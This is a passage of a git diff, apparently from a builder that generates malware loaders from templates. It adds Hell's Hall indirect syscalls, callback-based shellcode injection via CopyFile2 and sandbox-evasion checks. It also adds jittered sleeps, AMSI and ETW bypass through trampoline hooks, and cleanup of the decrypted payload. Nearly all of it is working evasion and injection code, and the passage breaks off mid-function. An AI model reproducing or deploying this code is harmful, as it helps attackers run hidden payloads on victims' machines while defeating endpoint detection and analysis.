-------------------------------------------------------------------------- */ +/* One-time init — resolve all 4 syscalls and cache */ +/* -------------------------------------------------------------------------- */ +BOOL HH_Initialize(VOID) +{ + if (gReady) return TRUE; + + RtlSecureZeroMemory(&gCache, sizeof(HH_CACHE)); + + if (!HH_InitSysFunc(HH_HASH_NtAllocateVirtualMemory, &gCache.NtAllocateVirtualMemory)) return FALSE; + if (!HH_InitSysFunc(HH_HASH_NtProtectVirtualMemory, &gCache.NtProtectVirtualMemory)) return FALSE; + if (!HH_InitSysFunc(HH_HASH_NtWriteVirtualMemory, &gCache.NtWriteVirtualMemory)) return FALSE; + if (!HH_InitSysFunc(HH_HASH_NtQueueApcThread, &gCache.NtQueueApcThread)) return FALSE; + + gReady = TRUE; + return TRUE; +} + +/* -------------------------------------------------------------------------- */ +/* Public wrappers — drop-in replacements for the old SysWhispers3 stubs */ +/* -------------------------------------------------------------------------- */ + +NTSTATUS NTAVM( + IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, IN ULONG Protect) +{ + if (!HH_Initialize()) return (NTSTATUS)0xC0000001L; + SYSCALL(gCache.NtAllocateVirtualMemory); + return HellHall_NtAVM(ProcessHandle, BaseAddress, + ZeroBits, RegionSize, AllocationType, Protect); +} + +NTSTATUS NTPVM( + IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect) +{ + if (!HH_Initialize()) return (NTSTATUS)0xC0000001L; + SYSCALL(gCache.NtProtectVirtualMemory); + return HellHall_NtPVM(ProcessHandle, BaseAddress, + RegionSize, NewProtect, OldProtect); +} + +NTSTATUS NTWVM( + IN HANDLE ProcessHandle, IN PVOID BaseAddress, + IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, + OUT PSIZE_T NumberOfBytesWritten) +{ + if (!HH_Initialize()) return (NTSTATUS)0xC0000001L; + SYSCALL(gCache.NtWriteVirtualMemory); + return HellHall_NtWVM(ProcessHandle, BaseAddress, + Buffer, NumberOfBytesToWrite, NumberOfBytesWritten); +} + +NTSTATUS NTQAT( + IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine, + IN PVOID ApcArgument1, IN PVOID ApcArgument2, IN PVOID ApcArgument3) +{ + if (!HH_Initialize()) return (NTSTATUS)0xC0000001L; + SYSCALL(gCache.NtQueueApcThread); + return HellHall_NtQAT(ThreadHandle, ApcRoutine, + ApcArgument1, ApcArgument2, ApcArgument3); +} diff --git a/Linux/templates/stageless/hellhall.h b/Linux/templates/stageless/hellhall.h new file mode 100644 index 0000000..5cd4905 --- /dev/null +++ b/Linux/templates/stageless/hellhall.h @@ -0,0 +1,116 @@ +/* + * hellhall.h + * + * Hell's Hall: indirect syscalls via SSN discovery + ntdll syscall-instruction + * trampoline. Adapted from Hell's Hall (MalDevAcademy). + * + * Drop-in replacement for SysWhispers3. + * Exports NTAVM / NTPVM / NTWVM / NTQAT with the same signatures. + */ +#pragma once + +#include + +/* -------------------------------------------------------------------------- */ +/* Primitive types used internally */ +/* -------------------------------------------------------------------------- */ +typedef unsigned char hh_u8; +typedef unsigned int hh_u32; + +/* -------------------------------------------------------------------------- */ +/* CRC32b hash (Castagnoli, SEED = 0xEDB88320) */ +/* -------------------------------------------------------------------------- */ +#define HH_SEED 0xEDB88320u +#define HH_RANGE 0x1E /* max bytes to search forward for syscall */ + +hh_u32 HH_Crc32b(const hh_u8 *str); +#define HASH(s) HH_Crc32b((const hh_u8 *)(s)) + +/* Precomputed CRC32b hashes — verified: HASH("NtXxx") == constant below */ +#define HH_HASH_NtAllocateVirtualMemory 0xE0762FEBu +#define HH_HASH_NtProtectVirtualMemory 0x5C2D1A97u +#define HH_HASH_NtWriteVirtualMemory 0xE4879939u +#define HH_HASH_NtQueueApcThread 0x235B0390u + +/* -------------------------------------------------------------------------- */ +/* SysFunc — one instance per syscall */ +/* -------------------------------------------------------------------------- */ +typedef struct _SysFunc { + PVOID pInst; /* address of a 'syscall' instruction inside ntdll */ + PBYTE pAddress; /* address of the NT stub in ntdll */ + WORD wSSN; /* syscall service number */ + hh_u32 uHash; /* CRC32b of the function name */ +} SysFunc, *PSysFunc; + +/* -------------------------------------------------------------------------- */ +/* Assembly stubs (whispers-asm.x64.asm) */ +/* -------------------------------------------------------------------------- */ +EXTERN_C VOID SetConfig(WORD wSSN, PVOID pSyscallInst); +#define SYSCALL(sf) (SetConfig((sf).wSSN, (sf).pInst)) + +/* -------------------------------------------------------------------------- */ +/* NTSTATUS / KNORMAL_ROUTINE (guard against redefinition) */ +/* -------------------------------------------------------------------------- */ +#ifndef _NTDEF_ +typedef _Return_type_success_(return >= 0) LONG NTSTATUS; +typedef NTSTATUS *PNTSTATUS; +#endif + +#ifndef _KNORMAL_ROUTINE_DEFINED +#define _KNORMAL_ROUTINE_DEFINED +typedef VOID(KNORMAL_ROUTINE)(IN PVOID NormalContext, + IN PVOID SystemArgument1, + IN PVOID SystemArgument2); +typedef KNORMAL_ROUTINE *PKNORMAL_ROUTINE; +#endif + +/* -------------------------------------------------------------------------- */ +/* Typed HellHall dispatch stubs (all share the same ASM body) */ +/* -------------------------------------------------------------------------- */ +EXTERN_C NTSTATUS HellHall_NtAVM( + HANDLE ProcessHandle, PVOID *BaseAddress, + ULONG ZeroBits, PSIZE_T RegionSize, + ULONG AllocationType, ULONG Protect); + +EXTERN_C NTSTATUS HellHall_NtPVM( + HANDLE ProcessHandle, PVOID *BaseAddress, + PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect); + +EXTERN_C NTSTATUS HellHall_NtWVM( + HANDLE ProcessHandle, PVOID BaseAddress, + PVOID Buffer, SIZE_T NumberOfBytesToWrite, + PSIZE_T NumberOfBytesWritten); + +EXTERN_C NTSTATUS HellHall_NtQAT( + HANDLE ThreadHandle, PKNORMAL_ROUTINE ApcRoutine, + PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3); + +/* -------------------------------------------------------------------------- */ +/* Hell's Hall C API */ +/* -------------------------------------------------------------------------- */ +BOOL HH_InitNtdll(VOID); +BOOL HH_InitSysFunc(IN hh_u32 uHash, OUT PSysFunc psF); +BOOL HH_Initialize(VOID); /* resolve all 4 syscalls once at startup */ + +/* -------------------------------------------------------------------------- */ +/* Public wrappers — same signatures as the old SysWhispers3 stubs */ +/* -------------------------------------------------------------------------- */ +NTSTATUS NTAVM( + IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, IN ULONG Protect); + +NTSTATUS NTPVM( + IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, + IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect); + +NTSTATUS NTWVM( + IN HANDLE ProcessHandle, IN PVOID BaseAddress, + IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, + OUT PSIZE_T NumberOfBytesWritten); + +NTSTATUS NTQAT( + IN HANDLE ThreadHandle, IN PKNORMAL_ROUTINE ApcRoutine, + IN PVOID ApcArgument1 OPTIONAL, + IN PVOID ApcArgument2 OPTIONAL, + IN PVOID ApcArgument3 OPTIONAL); diff --git a/Linux/templates/stageless/inject.c b/Linux/templates/stageless/inject.c index ad0a3de..2ca0f93 100644 --- a/Linux/templates/stageless/inject.c +++ b/Linux/templates/stageless/inject.c @@ -33,7 +33,7 @@ BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hP // API Hashing cCPA cCPAu = (cCPA) GetProcAddressH(GetModuleHandleH(#-KERNEL32_VALUE-#), #-CREATEPROCESSA_VALUE-#); - Sleep(15000); + JITTER_SLEEP(15000); if(!cCPAu( NULL, lpPath, @@ -55,7 +55,7 @@ BOOL CreateSuspendedProcess(LPCSTR lpProcessName, DWORD* dwProcessId, HANDLE* hP *hProcess = Pi.hProcess; *hThread = Pi.hThread; - Sleep(5000); + JITTER_SLEEP(5000); return TRUE; } @@ -83,8 +83,8 @@ BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShel //printf("[+] Successfully Written %d Bytes\n", sNumberOfBytesWritten); - Sleep(2500); - if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) { + JITTER_SLEEP(2500); + if ((STATUS = NTPVM(hProcess, ppAddress, &sSizeOfShellcode, PAGE_EXECUTE_READ, &uOldProtection)) != 0) { //printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS); return FALSE; @@ -94,4 +94,125 @@ BOOL APCInjection(IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShel return TRUE; +} +// CopyFile2 compat types — only define when winbase.h does not already provide them. +// Newer mingw-w64 (Kali 2024+, Ubuntu 24.04+) includes these when _WIN32_WINNT >= 0x0602. +// We pass -D_WIN32_WINNT=0x0602 via CFLAGS so this block is effectively dead on +// modern toolchains; it remains as a safety net for legacy environments. +#if !defined(_WIN32_WINNT) || (_WIN32_WINNT < 0x0602) + +typedef enum _COPYFILE2_MESSAGE_TYPE { + COPYFILE2_CALLBACK_NONE = 0, + COPYFILE2_CALLBACK_CHUNK_STARTED, + COPYFILE2_CALLBACK_CHUNK_FINISHED, + COPYFILE2_CALLBACK_STREAM_STARTED, + COPYFILE2_CALLBACK_STREAM_FINISHED, + COPYFILE2_CALLBACK_POLL_CONTINUE, + COPYFILE2_CALLBACK_ERROR, + COPYFILE2_CALLBACK_MAX +} COPYFILE2_MESSAGE_TYPE; + +typedef enum _COPYFILE2_MESSAGE_ACTION { + COPYFILE2_PROGRESS_CONTINUE = 0, + COPYFILE2_PROGRESS_CANCEL, + COPYFILE2_PROGRESS_STOP, + COPYFILE2_PROGRESS_QUIET, + COPYFILE2_PROGRESS_PAUSE +} COPYFILE2_MESSAGE_ACTION; + +typedef struct COPYFILE2_MESSAGE { + COPYFILE2_MESSAGE_TYPE Type; + DWORD dwPadding; + union { + struct { ULARGE_INTEGER ullChunkNumber; } ChunkStarted; + struct { ULARGE_INTEGER ullChunkNumber; } ChunkFinished; + struct { DWORD dwStreamNumber; } StreamStarted; + struct { DWORD dwStreamNumber; } StreamFinished; + struct { DWORD dwReserved; } PollContinue; + struct { DWORD dwReserved; } Error; + } Info; +} COPYFILE2_MESSAGE; + +typedef COPYFILE2_MESSAGE_ACTION (CALLBACK *PCOPYFILE2_PROGRESS_ROUTINE)( + const COPYFILE2_MESSAGE *pMessage, PVOID pvCallbackContext); + +typedef struct COPYFILE2_EXTENDED_PARAMETERS { + DWORD dwSize; + DWORD dwCopyFlags; + BOOL *pfCancel; + PCOPYFILE2_PROGRESS_ROUTINE pProgressRoutine; + PVOID pvCallbackContext; +} COPYFILE2_EXTENDED_PARAMETERS; + +WINBASEAPI HRESULT WINAPI CopyFile2(PCWSTR pwszExistingFileName, + PCWSTR pwszNewFileName, COPYFILE2_EXTENDED_PARAMETERS *pExtendedParameters); + +#endif // !defined(_WIN32_WINNT) || _WIN32_WINNT < 0x0602 + +BOOL CallbackInjection(IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) { + + SIZE_T sSize = sSizeOfShellcode; + NTSTATUS STATUS = 0x00; DWORD dwOldProtect = 0; WCHAR szSourceFile[MAX_PATH]; + WCHAR szDestFile[MAX_PATH]; + + // Allocate RW memory — will be flipped to RX before execution + *ppAddress = VirtualAlloc(NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (*ppAddress == NULL) { + //printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError()); + return FALSE; + } + + //printf("[i] Allocated Memory At : 0x%p \n", *ppAddress); + + // Copy shellcode to RW memory + RtlMoveMemory(*ppAddress, pShellcode, sSizeOfShellcode); + //printf("[+] Successfully Written %d Bytes\n", sSizeOfShellcode); + + // Flip to RX. never hold W+X simultaneously + VirtualProtect(*ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READ, &dwOldProtect); + + // Setup CopyFile2 parameters with callback pointing to shellcode + COPYFILE2_EXTENDED_PARAMETERS params = { 0 }; + params.dwSize = sizeof(COPYFILE2_EXTENDED_PARAMETERS); + params.dwCopyFlags = COPY_FILE_FAIL_IF_EXISTS; + params.pfCancel = FALSE; + params.pProgressRoutine = (PCOPYFILE2_PROGRESS_ROUTINE)*ppAddress; // Shellcode as callback + params.pvCallbackContext = NULL; + + // Get TEMP path and create source/dest file paths + GetEnvironmentVariableW(L"TEMP", szSourceFile, MAX_PATH); + wcscpy(szDestFile, szSourceFile); + wcscat(szSourceFile, L"\\#-CALLBACK_SRC_TMP-#"); + wcscat(szDestFile, L"\\#-CALLBACK_DST_TMP-#"); + + // Create a dummy source file + HANDLE hFile = CreateFileW(szSourceFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile != INVALID_HANDLE_VALUE) { + DWORD dwWritten; + BYTE dummyData[1024] = { 0x41 }; // Just some dummy data + WriteFile(hFile, dummyData, sizeof(dummyData), &dwWritten, NULL); + CloseHandle(hFile); + } + + // Delete destination if it exists + DeleteFileW(szDestFile); + + JITTER_SLEEP(1500); + //printf("[i] Triggering shellcode via CopyFile2 callback...\n"); + + // Trigger the callback by copying the file + // The progress routine (our shellcode) will be called during the copy operation + HRESULT hr = CopyFile2(szSourceFile, szDestFile, ¶ms); + + // Cleanup temp files + DeleteFileW(szSourceFile); + DeleteFileW(szDestFile); + + if (SUCCEEDED(hr)) { + //printf("[+] Callback executed successfully!\n"); + return TRUE; + } else { + //printf("[!] CopyFile2 failed with HRESULT: 0x%0.8X\n", hr); + return TRUE; // Still return TRUE as callback might have executed + } } \ No newline at end of file diff --git a/Linux/templates/stageless/main.c b/Linux/templates/stageless/main.c index 34b3976..cf9e409 100644 --- a/Linux/templates/stageless/main.c +++ b/Linux/templates/stageless/main.c @@ -4,6 +4,8 @@ #include "whispers.h" #include "functions.h" #include "AES_128_CBC.h" +#include "sandbox.h" +#include "trampoline.h" #define TARGET_PROCESS "#-TARGET_PROCESS-#" @@ -16,7 +18,7 @@ unsigned char payload[] = { #-PAYLOAD_VALUE-# }; -int main() { +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { SIZE_T sEncPayload = sizeof(payload); PVOID pClearText = NULL, @@ -32,6 +34,9 @@ int main() { NTSTATUS STATUS = 0x00; + // Seed RNG for jittered sleep timing + srand((unsigned int)GetTickCount()); + // #-SANDBOX_CHECK_CALL-# //printf("[+] Un-hooking Ntdll \n"); LPVOID nt = MapNtdll(); if (!nt) @@ -39,8 +44,11 @@ int main() { if (!Unhook(nt)) return -1; + + // Install hooks AFTER unhooking so they don't get erased + // #-TRAMPOLINE_CALL-# - Sleep(500); + JITTER_SLEEP(500); //printf("[+] PID: %d\n", GetCurrentProcessId()); //printf("[+] Got the content at position: 0x%p with size of %zu\n", &payload, sEncPayload); @@ -48,7 +56,7 @@ int main() { // Decryption routine //printf("[i] Starting the decryption...\n"); - Sleep(500); + JITTER_SLEEP(500); // Allocating memory to store the decrypted payload inside of pClearText pClearText = (PBYTE)malloc(sEncPayload); AES_DecryptInit(&ctx, aes_k, aes_i); @@ -56,7 +64,7 @@ int main() { //printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload); - Sleep(1500); + JITTER_SLEEP(1500); //printf("[i] Creating suspended process..\n"); // Creating a suspeneded process now if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) { @@ -66,36 +74,26 @@ int main() { } //printf("[+] Process created with PID: %d\n", dwProcessId); - Sleep(2500); - //printf("[i] Injecting the shellcode into the process..\n"); - // Doing the APC Injection - if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) { - - return -1; - } - - Sleep(1500); - //printf("[i] Running the shellcode via NtQueueApcThread..\n"); - // Running the thread via QueueAPCThread - if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) { - - //printf("[-] NtQueueApcThrad failed!\n"); - return -1; - } + JITTER_SLEEP(2500); + // #-INJECTION_METHOD_PLACEHOLDER-# - // API Hashing - cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#); - - //printf("[i] Position of DAPsu: 0x%p\n", cDAPSu); - - Sleep(1000); - // Stopping the debugging of the process, which launches the payload - cDAPSu(dwProcessId); - //printf("[+] Payload executed!\n"); + // Cleanup: Zero out sensitive data before freeing + if (pClearText) { + SecureZeroMemory(pClearText, sEncPayload); + free(pClearText); + pClearText = NULL; + } + // Zero out encryption keys + SecureZeroMemory(aes_k, sizeof(aes_k)); + SecureZeroMemory(aes_i, sizeof(aes_i)); + SecureZeroMemory(&ctx, sizeof(ctx)); + // Zero out embedded payload + SecureZeroMemory(payload, sizeof(payload)); - CloseHandle(hThread); - CloseHandle(hProcess); - free(pClearText); + if (hThread) + CloseHandle(hThread); + if (hProcess) + CloseHandle(hProcess); return 0; } \ No newline at end of file diff --git a/Linux/templates/stageless/main_dll.c b/Linux/templates/stageless/main_dll.c index f07dcea..71a8f03 100644 --- a/Linux/templates/stageless/main_dll.c +++ b/Linux/templates/stageless/main_dll.c @@ -4,6 +4,8 @@ #include "whispers.h" #include "functions.h" #include "AES_128_CBC.h" +#include "sandbox.h" +#include "trampoline.h" #define TARGET_PROCESS "#-TARGET_PROCESS-#" @@ -34,6 +36,9 @@ extern __declspec(dllexport) int ctf() NTSTATUS STATUS = 0x00; + // Seed RNG for jittered sleep timing + srand((unsigned int)GetTickCount()); + // #-SANDBOX_CHECK_CALL-# //printf("[+] Un-hooking Ntdll \n"); LPVOID nt = MapNtdll(); if (!nt) @@ -41,8 +46,11 @@ extern __declspec(dllexport) int ctf() if (!Unhook(nt)) return -1; + + // Install hooks AFTER unhooking so they don't get erased + // #-TRAMPOLINE_CALL-# - Sleep(500); + JITTER_SLEEP(500); //printf("[+] PID: %d\n", GetCurrentProcessId()); //printf("[+] Got the content at position: 0x%p with size of %zu\n", &payload, sEncPayload); @@ -50,7 +58,7 @@ extern __declspec(dllexport) int ctf() // Decryption routine //printf("[i] Starting the decryption...\n"); - Sleep(500); + JITTER_SLEEP(500); // Allocating memory to store the decrypted payload inside of pClearText pClearText = (PBYTE)malloc(sEncPayload); AES_DecryptInit(&ctx, aes_k, aes_i); @@ -58,7 +66,7 @@ extern __declspec(dllexport) int ctf() //printf("\t[+] Payload decrypted at postion: 0x%p with size of %zu\n", pClearText, sEncPayload); - Sleep(1500); + JITTER_SLEEP(1500); //printf("[i] Creating suspended process..\n"); // Creating a suspeneded process now if (!CreateSuspendedProcess(TARGET_PROCESS, &dwProcessId, &hProcess, &hThread)) { @@ -68,36 +76,26 @@ extern __declspec(dllexport) int ctf() } //printf("[+] Process created with PID: %d\n", dwProcessId); - Sleep(2500); - //printf("[i] Injecting the shellcode into the process..\n"); - // Doing the APC Injection - if (!APCInjection(hProcess, pClearText, sEncPayload, &pProcess)) { - - return -1; - } - - Sleep(1500); - //printf("[i] Running the shellcode via NtQueueApcThread..\n"); - // Running the thread via QueueAPCThread - if ((STATUS = NTQAT(hThread, pProcess, NULL, NULL, NULL)) != 0) { - - //printf("[-] NtQueueApcThrad failed!\n"); - return -1; - } + JITTER_SLEEP(2500); + // #-INJECTION_METHOD_PLACEHOLDER-# - // API Hashing - cDAPS cDAPSu = (cDAPS) GetProcAddressH(GetModuleHandleH(#-KERNELBASE_VALUE-#), #-DAPS_VALUE-#); - - //printf("[i] Position of DAPsu: 0x%p\n", cDAPSu); - - Sleep(1000); - // Stopping the debugging of the process, which launches the payload - cDAPSu(dwProcessId); - //printf("[+] Payload executed!\n"); + // Cleanup: Zero out sensitive data before freeing + if (pClearText) { + SecureZeroMemory(pClearText, sEncPayload); + free(pClearText); + pClearText = NULL; + } + // Zero out encryption keys + SecureZeroMemory(aes_k, sizeof(aes_k)); + SecureZeroMemory(aes_i, sizeof(aes_i)); + SecureZeroMemory(&ctx, sizeof(ctx)); + // Zero out embedded payload + SecureZeroMemory(payload, sizeof(payload)); - CloseHandle(hThread); - CloseHandle(hProcess); - free(pClearText); + if (hThread) + CloseHandle(hThread); + if (hProcess) + CloseHandle(hProcess); return 0; diff --git a/Linux/templates/stageless/sandbox.c b/Linux/templates/stageless/sandbox.c new file mode 100644 index 0000000..bab04ea --- /dev/null +++ b/Linux/templates/stageless/sandbox.c @@ -0,0 +1,61 @@ +#include +#include "sandbox.h" +#include "functions.h" + +/* + * RunSandboxChecks + * + * Lightweight pre-flight checks before payload execution. + * Returns TRUE -> environment looks like a real workstation. + * Returns FALSE -> likely a sandbox / analysis VM; loader should exit cleanly. + * + * All WinAPI calls are resolved at runtime via API hashing (GetProcAddressH / + * GetModuleHandleH) so no suspicious IAT entries appear in the binary. + * + * Checks performed: + * 1. System uptime < #-SANDBOX_MIN_UPTIME_MS-# ms + * 2. Physical RAM < #-SANDBOX_MIN_RAM_GB-# GB + * 3. Logical CPU count < #-SANDBOX_MIN_CPU-# + */ + +typedef ULONGLONG (WINAPI* pGetTickCount64_t)(void); +typedef BOOL (WINAPI* pGlobalMemoryStatusEx_t)(LPMEMORYSTATUSEX); +typedef void (WINAPI* pGetSystemInfo_t)(LPSYSTEM_INFO); + +BOOL RunSandboxChecks(void) { + + HMODULE hK32 = GetModuleHandleH(#-KERNEL32_VALUE-#); + if (!hK32) + return FALSE; + + /* --- 1. Uptime --- */ + pGetTickCount64_t fnGTC64 = + (pGetTickCount64_t) GetProcAddressH(hK32, #-GETTICKCOUNT64_VALUE-#); + if (!fnGTC64 || fnGTC64() < #-SANDBOX_MIN_UPTIME_MS-#) + return FALSE; + + /* --- 2. RAM --- */ + pGlobalMemoryStatusEx_t fnGMSE = + (pGlobalMemoryStatusEx_t) GetProcAddressH(hK32, #-GLOBALMEMORYSTATUSEX_VALUE-#); + if (!fnGMSE) + return FALSE; + MEMORYSTATUSEX ms; + ms.dwLength = sizeof(ms); + if (!fnGMSE(&ms)) + return FALSE; + if (ms.ullTotalPhys < #-SANDBOX_MIN_RAM_BYTES-#) + return FALSE; + + /* --- 3. CPU count --- */ + pGetSystemInfo_t fnGSI = + (pGetSystemInfo_t) GetProcAddressH(hK32, #-GETSYSTEMINFO_VALUE-#); + if (!fnGSI) + return FALSE; + SYSTEM_INFO si; + fnGSI(&si); + if (si.dwNumberOfProcessors < #-SANDBOX_MIN_CPU-#) + return FALSE; + + return TRUE; +} + diff --git a/Linux/templates/stageless/sandbox.h b/Linux/templates/stageless/sandbox.h new file mode 100644 index 0000000..d3fcca9 --- /dev/null +++ b/Linux/templates/stageless/sandbox.h @@ -0,0 +1,8 @@ +#pragma once +#include + +/* + * RunSandboxChecks — returns TRUE if the environment looks legitimate. + * Call this early in the entry point; bail out if it returns FALSE. + */ +BOOL RunSandboxChecks(void); diff --git a/Linux/templates/stageless/trampoline.c b/Linux/templates/stageless/trampoline.c new file mode 100644 index 0000000..65bef21 --- /dev/null +++ b/Linux/templates/stageless/trampoline.c @@ -0,0 +1,307 @@ +/* + * trampoline.c + * + * AMSI & ETW bypass via x64 trampoline hooks. + * Adapted from TrampoLatte (github.com/MochaByte/TrampoLatte). + * + * All WinAPI calls are resolved at runtime via API hashing so no + * suspicious IAT entries appear in the binary. + */ + +// #-DEBUG_DEFINE-# + +#include +#include +#include "functions.h" +#include "trampoline.h" + +#ifdef DEBUG +#include +#define DBG(fmt, ...) do { char _b[512]; sprintf(_b, "[TrampoLatte] " fmt "\n", ##__VA_ARGS__); OutputDebugStringA(_b); } while(0) +#else +#define DBG(fmt, ...) ((void)0) +#endif + +#define TRAMPOLINE_SIZE 13 + +extern void RetStub(void); + +typedef HANDLE HAMSICONTEXT; +typedef HANDLE HAMSISESSION; +#define AMSI_RESULT_CLEAN 0 +typedef int AMSI_RESULT; + +typedef HRESULT (WINAPI *PFN_AMSI_SCAN_BUFFER)( + HAMSICONTEXT, PVOID Buffer, ULONG Length, + LPCWSTR ContentName, HAMSISESSION, AMSI_RESULT *Result); + +static PFN_AMSI_SCAN_BUFFER g_pOriginalAmsiFunc = NULL; + + +BOOL GetEtwpEventWriteFull(OUT PVOID *ppFunction) +{ + // First getting a pointer to the EtwEventWriteEx function + PBYTE pEtwEventWriteEx = (PBYTE)GetProcAddressH( + GetModuleHandleH(#-NTDLL_VALUE-#), + #-ETWEVENTWRITEEX_VALUE-#); + if (pEtwEventWriteEx == NULL) + { + DBG("[-] Failed to get EtwEventWriteEx"); + return FALSE; + } + DBG("[+] Found EtwEventWriteEx at 0x%p", pEtwEventWriteEx); + + PVOID pTargetFunction = NULL, + pTemp = NULL; + int i = 0; + + // 1. We start at the pointers address and go down the memory lane to find the C3 instruction + + while(1) + { + BYTE opcode = pEtwEventWriteEx[i]; + + // 2. We have reached the RET instruction, stop there + if (pEtwEventWriteEx[i] == 0xC3) + { + break; + } + i++; + } + + // 3. By doing it this way, we ensure we hit the right 0xE8 instruction which is the CALL instruction. + + // 4. We loop again, this time we move "upwards" to hit the CALL instruction + while (i) + { + BYTE opcode = pEtwEventWriteEx[i]; + + // 5. We have reached the CALL instruction + if (opcode == 0xE8) + { + // We get the relative address for EtwpEventWriteEx. + // pEtwEventWriteEx + i -> this is the CALL instruction + // + 1 gets you the first byte of the displacement + // I used int32_t because its a 32-bit signed integer and negative displacements are handled correctly + int32_t relative = *(int32_t*)(pEtwEventWriteEx + i + 1); + DBG("relative addr: 0x%p", (PVOID)(uintptr_t)relative); + + // We go from pEtwEventWriteEx + i which is the CALL instruction. +5 gets you past that and + relative gets you the relative address of EtwpEventWriteFull. + pTargetFunction = pEtwEventWriteEx + i + 5 + relative; + DBG("pTargetFunction at position: 0x%p", pTargetFunction); + + // 6. pTargetFunction is now EtwpEventWriteFull + *ppFunction = pTargetFunction; + return TRUE; + } + + i--; + } + + return FALSE; +} + + +BOOL TrampolineX64(IN PVOID pHookedFunction, IN PVOID pDetourFunction, OUT PVOID *pOriginalFunc, OUT DWORD *dwOldProt) +{ + DWORD dwOldProtect = 0; + + // Trampoline x64 + uint8_t uTrampoline[] = { + 0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pFunctionToRun + 0x41, 0xFF, 0xE2 // jmp r10 + }; + + // The actual patch + uint64_t patch = (uint64_t)(pDetourFunction); + + // Prepare the jump point + memcpy(&uTrampoline[2], &patch, sizeof(patch)); + + DBG("TrampolineX64: target=0x%p detour=0x%p", pHookedFunction, pDetourFunction); + + // Dump the bytes we intend to write + DBG(" Trampoline payload: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X", + uTrampoline[0], uTrampoline[1], uTrampoline[2], uTrampoline[3], + uTrampoline[4], uTrampoline[5], uTrampoline[6], uTrampoline[7], + uTrampoline[8], uTrampoline[9], uTrampoline[10], uTrampoline[11], uTrampoline[12]); + + // Dump the original bytes at the target before we touch anything + { + BYTE *p = (BYTE *)pHookedFunction; + DBG(" BEFORE: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X", + p[0], p[1], p[2], p[3], p[4], p[5], p[6], + p[7], p[8], p[9], p[10], p[11], p[12]); + } + + // Saving the old function + PVOID pTmp = VirtualAlloc(NULL, TRAMPOLINE_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + if (pTmp == NULL) + { + DBG(" VirtualAlloc failed for backup: %lu", GetLastError()); + return FALSE; + } + memcpy(pTmp, pHookedFunction, TRAMPOLINE_SIZE); + *pOriginalFunc = pTmp; + + // Changing memory permissions for the function you want to hook + if (!VirtualProtect(pHookedFunction, TRAMPOLINE_SIZE, PAGE_EXECUTE_READWRITE, &dwOldProtect)) + { + DBG(" VirtualProtect failed: %lu", GetLastError()); + return FALSE; + } + DBG(" VirtualProtect OK — old protection: 0x%lX (%lu)", dwOldProtect, dwOldProtect); + + // Write using volatile pointer to prevent compiler from optimizing the write away + volatile BYTE *dst = (volatile BYTE *)pHookedFunction; + for (int i = 0; i < TRAMPOLINE_SIZE; i++) + { + dst[i] = uTrampoline[i]; + } + + // Flush instruction cache so the CPU picks up the new bytes + FlushInstructionCache((HANDLE)-1, pHookedFunction, TRAMPOLINE_SIZE); + + // Verify the write actually landed + { + BYTE *p = (BYTE *)pHookedFunction; + DBG(" AFTER: %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X %02X", + p[0], p[1], p[2], p[3], p[4], p[5], p[6], + p[7], p[8], p[9], p[10], p[11], p[12]); + + if (p[0] != 0x49 || p[1] != 0xBA) + { + DBG(" !!! WRITE VERIFICATION FAILED — bytes unchanged. Trying WriteProcessMemory fallback..."); + SIZE_T written = 0; + if (WriteProcessMemory((HANDLE)-1, pHookedFunction, uTrampoline, TRAMPOLINE_SIZE, &written)) + { + DBG(" WriteProcessMemory OK — %llu bytes written", (unsigned long long)written); + FlushInstructionCache((HANDLE)-1, pHookedFunction, TRAMPOLINE_SIZE); + + // Re-check + if (p[0] != 0x49 || p[1] != 0xBA) + { + DBG(" !!! WriteProcessMemory also failed to stick. Page may be protected by CIG/ACG."); + return FALSE; + } + } + else + { + DBG(" WriteProcessMemory failed: %lu", GetLastError()); + return FALSE; + } + } + } + + DBG(" Trampoline verified and set!"); + + // Assigning values + *dwOldProt = dwOldProtect; + + return TRUE; +} + + +BOOL RemoveTrampoline(IN PVOID pHookedFunc, IN 